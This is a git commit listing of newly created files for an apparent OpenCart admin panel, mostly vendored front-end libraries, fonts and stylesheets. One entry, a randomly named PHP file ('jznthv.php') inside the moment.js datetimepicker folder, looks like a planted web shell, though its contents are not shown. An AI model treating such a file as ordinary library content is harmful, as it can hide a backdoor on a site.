create mode 100644 public/admin/view/javascript/codemirror/theme/elegant.css
create mode 100644 public/admin/view/javascript/codemirror/theme/erlang-dark.css
create mode 100644 public/admin/view/javascript/codemirror/theme/hopscotch.css
create mode 100644 public/admin/view/javascript/codemirror/theme/icecoder.css
create mode 100644 public/admin/view/javascript/codemirror/theme/isotope.css
create mode 100644 public/admin/view/javascript/codemirror/theme/lesser-dark.css
create mode 100644 public/admin/view/javascript/codemirror/theme/liquibyte.css
create mode 100644 public/admin/view/javascript/codemirror/theme/material.css
create mode 100644 public/admin/view/javascript/codemirror/theme/mbo.css
create mode 100644 public/admin/view/javascript/codemirror/theme/mdn-like.css
create mode 100644 public/admin/view/javascript/codemirror/theme/midnight.css
create mode 100644 public/admin/view/javascript/codemirror/theme/monokai.css
create mode 100644 public/admin/view/javascript/codemirror/theme/neat.css
create mode 100644 public/admin/view/javascript/codemirror/theme/neo.css
create mode 100644 public/admin/view/javascript/codemirror/theme/night.css
create mode 100644 public/admin/view/javascript/codemirror/theme/paraiso-dark.css
create mode 100644 public/admin/view/javascript/codemirror/theme/paraiso-light.css
create mode 100644 public/admin/view/javascript/codemirror/theme/pastel-on-dark.css
create mode 100644 public/admin/view/javascript/codemirror/theme/railscasts.css
create mode 100644 public/admin/view/javascript/codemirror/theme/rubyblue.css
create mode 100644 public/admin/view/javascript/codemirror/theme/seti.css
create mode 100644 public/admin/view/javascript/codemirror/theme/solarized.css
create mode 100644 public/admin/view/javascript/codemirror/theme/the-matrix.css
create mode 100644 public/admin/view/javascript/codemirror/theme/tomorrow-night-bright.css
create mode 100644 public/admin/view/javascript/codemirror/theme/tomorrow-night-eighties.css
create mode 100644 public/admin/view/javascript/codemirror/theme/ttcn.css
create mode 100644 public/admin/view/javascript/codemirror/theme/twilight.css
create mode 100644 public/admin/view/javascript/codemirror/theme/vibrant-ink.css
create mode 100644 public/admin/view/javascript/codemirror/theme/xq-dark.css
create mode 100644 public/admin/view/javascript/codemirror/theme/xq-light.css
create mode 100644 public/admin/view/javascript/codemirror/theme/yeti.css
create mode 100644 public/admin/view/javascript/codemirror/theme/zenburn.css
create mode 100644 public/admin/view/javascript/common.js
create mode 100644 public/admin/view/javascript/font-awesome/css/font-awesome.css
create mode 100644 public/admin/view/javascript/font-awesome/css/font-awesome.min.css
create mode 100644 public/admin/view/javascript/font-awesome/fonts/FontAwesome.otf
create mode 100644 public/admin/view/javascript/font-awesome/fonts/fontawesome-webfont.eot
create mode 100644 public/admin/view/javascript/font-awesome/fonts/fontawesome-webfont.svg
create mode 100644 public/admin/view/javascript/font-awesome/fonts/fontawesome-webfont.ttf
create mode 100644 public/admin/view/javascript/font-awesome/fonts/fontawesome-webfont.woff
create mode 100644 public/admin/view/javascript/font-awesome/fonts/fontawesome-webfont.woff2
create mode 100644 public/admin/view/javascript/font-awesome/less/animated.less
create mode 100644 public/admin/view/javascript/font-awesome/less/bordered-pulled.less
create mode 100644 public/admin/view/javascript/font-awesome/less/core.less
create mode 100644 public/admin/view/javascript/font-awesome/less/fixed-width.less
create mode 100644 public/admin/view/javascript/font-awesome/less/font-awesome.less
create mode 100644 public/admin/view/javascript/font-awesome/less/icons.less
create mode 100644 public/admin/view/javascript/font-awesome/less/larger.less
create mode 100644 public/admin/view/javascript/font-awesome/less/list.less
create mode 100644 public/admin/view/javascript/font-awesome/less/mixins.less
create mode 100644 public/admin/view/javascript/font-awesome/less/path.less
create mode 100644 public/admin/view/javascript/font-awesome/less/rotated-flipped.less
create mode 100644 public/admin/view/javascript/font-awesome/less/screen-reader.less
create mode 100644 public/admin/view/javascript/font-awesome/less/stacked.less
create mode 100644 public/admin/view/javascript/font-awesome/less/variables.less
create mode 100644 public/admin/view/javascript/font-awesome/scss/_animated.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_bordered-pulled.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_core.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_fixed-width.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_icons.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_larger.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_list.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_mixins.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_path.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_rotated-flipped.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_screen-reader.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_stacked.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/_variables.scss
create mode 100644 public/admin/view/javascript/font-awesome/scss/font-awesome.scss
create mode 100644 public/admin/view/javascript/froala/css/editor.css
create mode 100644 public/admin/view/javascript/froala/editor.js
create mode 100644 public/admin/view/javascript/froala/fonts/FontAwesome.otf
create mode 100644 public/admin/view/javascript/froala/fonts/font-awesome.css
create mode 100644 public/admin/view/javascript/froala/fonts/fontawesome-webfont.eot
create mode 100644 public/admin/view/javascript/froala/fonts/fontawesome-webfont.svg
create mode 100644 public/admin/view/javascript/froala/fonts/fontawesome-webfont.ttf
create mode 100644 public/admin/view/javascript/froala/fonts/fontawesome-webfont.woff
create mode 100644 public/admin/view/javascript/froala/fonts/fontawesome-webfont.woff2
create mode 100644 public/admin/view/javascript/froala/languages/ar.js
create mode 100644 public/admin/view/javascript/froala/languages/bs.js
create mode 100644 public/admin/view/javascript/froala/languages/cs.js
create mode 100644 public/admin/view/javascript/froala/languages/da.js
create mode 100644 public/admin/view/javascript/froala/languages/de.js
create mode 100644 public/admin/view/javascript/froala/languages/el.js
create mode 100644 public/admin/view/javascript/froala/languages/en.js
create mode 100644 public/admin/view/javascript/froala/languages/en_ca.js
create mode 100644 public/admin/view/javascript/froala/languages/en_gb.js
create mode 100644 public/admin/view/javascript/froala/languages/es.js
create mode 100644 public/admin/view/javascript/froala/languages/et.js
create mode 100644 public/admin/view/javascript/froala/languages/fa.js
create mode 100644 public/admin/view/javascript/froala/languages/fi.js
create mode 100644 public/admin/view/javascript/froala/languages/fr.js
create mode 100644 public/admin/view/javascript/froala/languages/he.js
create mode 100644 public/admin/view/javascript/froala/languages/hr.js
create mode 100644 public/admin/view/javascript/froala/languages/hu.js
create mode 100644 public/admin/view/javascript/froala/languages/id.js
create mode 100644 public/admin/view/javascript/froala/languages/it.js
create mode 100644 public/admin/view/javascript/froala/languages/ja.js
create mode 100644 public/admin/view/javascript/froala/languages/ko.js
create mode 100644 public/admin/view/javascript/froala/languages/ku.js
create mode 100644 public/admin/view/javascript/froala/languages/me.js
create mode 100644 public/admin/view/javascript/froala/languages/nb.js
create mode 100644 public/admin/view/javascript/froala/languages/nl.js
create mode 100644 public/admin/view/javascript/froala/languages/pl.js
create mode 100644 public/admin/view/javascript/froala/languages/pt_br.js
create mode 100644 public/admin/view/javascript/froala/languages/pt_pt.js
create mode 100644 public/admin/view/javascript/froala/languages/ro.js
create mode 100644 public/admin/view/javascript/froala/languages/ru.js
create mode 100644 public/admin/view/javascript/froala/languages/sk.js
create mode 100644 public/admin/view/javascript/froala/languages/sr.js
create mode 100644 public/admin/view/javascript/froala/languages/sv.js
create mode 100644 public/admin/view/javascript/froala/languages/th.js
create mode 100644 public/admin/view/javascript/froala/languages/tr.js
create mode 100644 public/admin/view/javascript/froala/languages/ua.js
create mode 100644 public/admin/view/javascript/froala/languages/uk.js
create mode 100644 public/admin/view/javascript/froala/languages/vi.js
create mode 100644 public/admin/view/javascript/froala/languages/zh_cn.js
create mode 100644 public/admin/view/javascript/froala/languages/zh_tw.js
create mode 100644 public/admin/view/javascript/jquery/Sortable.js
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/bootstrap-datetimepicker.min.css
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/bootstrap-datetimepicker.min.js
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/moment/jznthv.php
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/moment/locales.js
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/moment/locales.min.js
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/moment/moment-with-locales.js
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/moment/moment-with-locales.min.js
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/moment/moment.min.js
create mode 100644 public/admin/view/javascript/jquery/datetimepicker/moment/tests.js
create mode 100644 public/admin/view/javascript/jquery/flot/API.md
create mode 100644 public/admin/view/javascript/jquery/flot/CONTRIBUTING.md
create mode 100644 public/admin/view/javascript/jquery/flot/FAQ.md
create mode 100644 public/admin/view/javascript/jquery/flot/LICENSE.txt
create mode 100644 public/admin/view/javascript/jquery/flot/Makefile
create mode 100644 public/admin/view/javascript/jquery/flot/NEWS.md
create mode 100644 public/admin/view/javascript/jquery/flot/PLUGINS.md
create mode 100644 public/admin/view/javascript/jquery/flot/README.md
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/data-eu-gdp-growth-1.json
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/data-eu-gdp-growth-2.json
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/data-eu-gdp-growth-3.json
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/data-eu-gdp-growth-4.json
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/data-eu-gdp-growth-5.json
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/data-eu-gdp-growth.json
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/data-japan-gdp-growth.json
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/data-usa-gdp-growth.json
create mode 100644 public/admin/view/javascript/jquery/flot/examples/ajax/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/annotating/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-interacting/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-multiple/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/date.js
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/africa
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/antarctica
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/asia
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/australasia
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/backward
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/etcetera
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/europe
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/factory
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/iso3166.tab
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/leapseconds
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/northamerica
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/pacificnew
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/solar87
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/solar88
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/solar89
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/southamerica
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/systemv
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/yearistype.sh
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time-zones/tz/zone.tab
create mode 100644 public/admin/view/javascript/jquery/flot/examples/axes-time/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/background.png
create mode 100644 public/admin/view/javascript/jquery/flot/examples/basic-options/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/basic-usage/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/canvas/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/categories/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/examples.css
create mode 100644 public/admin/view/javascript/jquery/flot/examples/image/hs-2004-27-a-large-web.jpg
create mode 100644 public/admin/view/javascript/jquery/flot/examples/image/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/interacting/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/navigate/arrow-down.gif
create mode 100644 public/admin/view/javascript/jquery/flot/examples/navigate/arrow-left.gif
create mode 100644 public/admin/view/javascript/jquery/flot/examples/navigate/arrow-right.gif
create mode 100644 public/admin/view/javascript/jquery/flot/examples/navigate/arrow-up.gif
create mode 100644 public/admin/view/javascript/jquery/flot/examples/navigate/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/percentiles/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/realtime/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/resize/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/selection/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/series-errorbars/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/series-pie/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/series-toggle/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/series-types/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/shared/jquery-ui/jquery-ui.min.css
create mode 100644 public/admin/view/javascript/jquery/flot/examples/shared/jquery-ui/jquery-ui.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/examples/stacking/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/symbols/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/threshold/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/tracking/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/visitors/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/examples/zooming/index.html
create mode 100644 public/admin/view/javascript/jquery/flot/excanvas.js
create mode 100644 public/admin/view/javascript/jquery/flot/excanvas.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.colorhelpers.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.colorhelpers.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.canvas.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.canvas.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.categories.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.categories.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.crosshair.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.crosshair.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.errorbars.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.errorbars.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.fillbetween.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.fillbetween.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.image.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.image.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.navigate.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.navigate.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.pie.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.pie.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.resize.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.resize.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.selection.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.selection.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.stack.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.stack.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.symbol.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.symbol.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.threshold.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.threshold.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.time.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.flot.time.min.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.js
create mode 100644 public/admin/view/javascript/jquery/flot/jquery.min.js
create mode 100644 public/admin/view/javascript/jquery/jquery-2.1.1.min.js
create mode 100644 public/admin/view/javascript/jquery/jquery-2.1.1.min.map
create mode 100644 public/admin/view/javascript/jquery/jquery-sortable.js
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/external/jquery/jquery.js
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/images/ui-icons_444444_256x240.png
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/images/ui-icons_555555_256x240.png
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/images/ui-icons_777620_256x240.png
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/images/ui-icons_777777_256x240.png
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/images/ui-icons_cc0000_256x240.png
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/images/ui-icons_ffffff_256x240.png
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/index.html
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/jquery-ui.css
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/jquery-ui.js
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/jquery-ui.min.css
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/jquery-ui.min.js
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/jquery-ui.structure.css
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/jquery-ui.structure.min.css
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/jquery-ui.theme.css
create mode 100644 public/admin/view/javascript/jquery/jquery-ui/jquery-ui.theme.min.css
create mode 100644 public/admin/view/javascript/jquery/jqvmap/data/jquery.vmap.sampledata.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/jquery.vmap.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/jquery.vmap.min.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/jquery.vmap.packed.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/jqvmap.css
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/continents/jquery.vmap.africa.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/continents/jquery.vmap.asia.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/continents/jquery.vmap.australia.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/continents/jquery.vmap.europe.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/continents/jquery.vmap.north-america.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/continents/jquery.vmap.south-america.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/continents/readme.txt
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/jquery.vmap.algeria.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/jquery.vmap.brazil.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/jquery.vmap.europe.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/jquery.vmap.france.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/jquery.vmap.germany.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/jquery.vmap.russia.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/jquery.vmap.usa.js
create mode 100644 public/admin/view/javascript/jquery/jqvmap/maps/jquery.vmap.world.js
create mode 100644 public/admin/view/javascript/jquery/magnific/jquery.magnific-popup.js
create mode 100644 public/admin/view/javascript/jquery/magnific/jquery.magnific-popup.min.js
create mode 100644 public/admin/view/javascript/jquery/magnific/magnific-popup.css
create mode 100644 public/admin/view/javascript/lightshop/codemirror/lib/codemirror.js
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/css.js
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/gss.html
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/gss_test.js
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/index.html
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/less.html
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/less_test.js
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/scss.html
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/scss_test.js
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/css/test.js
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/javascript/index.html
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/javascript/javascript.js
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/javascript/json-ld.html
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/javascript/test.js
create mode 100644 public/admin/view/javascript/lightshop/codemirror/mode/javascript/typescript.html
create mode 100644 public/admin/view/javascript/lightshop/colorpicker/css/bootstrap-colorpicker.min.css
create mode 100644 public/admin/view/javascript/lightshop/colorpicker/js/bootstrap-colorpicker.js
create mode 100644 public/admin/view/javascript/summernote/font/summernote.eot
create mode 100644 public/admin/view/javascript/summernote/font/summernote.ttf
create mode 100644 public/admin/view/javascript/summernote/font/summernote.woff
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-ar-AR.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-bg-BG.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-ca-ES.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-cs-CZ.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-da-DK.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-de-DE.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-es-ES.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-es-EU.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-fa-IR.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-fi-FI.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-fr-FR.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-gl-ES.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-he-IL.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-hr-HR.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-hu-HU.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-id-ID.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-it-IT.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-ja-JP.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-ko-KR.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-lt-LT.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-lt-LV.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-nb-NO.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-nl-NL.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-pl-PL.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-pt-BR.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-pt-PT.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-ro-RO.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-ru-RU.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-sk-SK.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-sl-SI.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-sr-RS-Latin.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-sr-RS.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-sv-SE.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-th-TH.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-tr-TR.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-uk-UA.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-vi-VN.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-zh-CN.js
create mode 100644 public/admin/view/javascript/summernote/lang/summernote-zh-TW.js
create mode 100644 public/admin/view/javascript/summernote/opencart.js
create mode 100644 public/admin/view/javascript/summernote/plugin/hello/summernote-ext-hello.js
create mode 100644 public/admin/view/javascript/summernote/plugin/specialchars/summernote-ext-specialchars.js
create mode 100644 public/admin/view/javascript/summernote/summernote-image-attributes.js
create mode 100644 public/admin/view/javascript/summernote/summernote.css
create mode 100644 public/admin/view/javascript/summernote/summernote.js
create mode 100644 public/admin/view/javascript/summernote/summernote.min.js
create mode 100644 public/admin/view/stylesheet/bootstrap.css
create mode 100644 public/admin/view/stylesheet/bootstrap.scss
create mode 100644 public/admin/view/stylesheet/export_import.css
create mode 100644 public/admin/view/stylesheet/fonts/forkawesome-webfont.eot
create mode 100644 public/admin/view/stylesheet/fonts/forkawesome-webfont.svg
create mode 100644 public/admin/view/stylesheet/fonts/forkawesome-webfont.ttf
create mode 100644 public/admin/view/stylesheet/fonts/forkawesome-webfont.woff
create mode 100644 public/admin/view/stylesheet/fonts/forkawesome-webfont.woff2
create mode 100644 public/admin/view/stylesheet/fonts/opencart.eot
create mode 100644 public/admin/view/stylesheet/fonts/opencart.svg
create mode 100644 public/admin/view/stylesheet/fonts/opencart.ttf
create mode 100644 public/admin/view/stylesheet/fonts/opencart.woff
create mode 100644 public/admin/view/stylesheet/fork-awesome.css
create mode 100644 public/admin/view/stylesheet/googleshopping/stepper.css
create mode 100644 public/admin/view/stylesheet/lightshop/codemirror/lib/codemirror.css
create mode 100644 public/admin/view/stylesheet/lightshop/codemirror/mode/theme/monokai.css
create mode 100644 public/admin/view/stylesheet/lightshop/lightshop-column-icon.css
create mode 100644 public/admin/view/stylesheet/lightshop/lightshop.css
create mode 100644 public/admin/view/stylesheet/sass/_bootstrap-compass.scss
create mode 100644 public/admin/view/stylesheet/sass/_bootstrap-mincer.scss
create mode 100644 public/admin/view/stylesheet/sass/_bootstrap-sprockets.scss
create mode 100644 public/admin/view/stylesheet/sass/_bootstrap.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_alerts.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_badges.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_breadcrumbs.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_button-groups.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_buttons.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_carousel.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_close.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_code.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_component-animations.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_dropdowns.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_forms.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_glyphicons.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_grid.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_input-groups.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_jumbotron.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_labels.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_list-group.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_media.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_mixins.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_modals.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_navbar.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_navs.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_normalize.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_pager.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_pagination.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_panels.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_popovers.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_print.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_progress-bars.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_responsive-embed.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_responsive-utilities.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_scaffolding.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_tables.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_theme.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_thumbnails.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_tooltip.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_type.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_utilities.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_variables.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/_wells.scss
create mode 100644 public/admin/view/stylesheet/sass/bootstrap/mixins/_alerts.scss
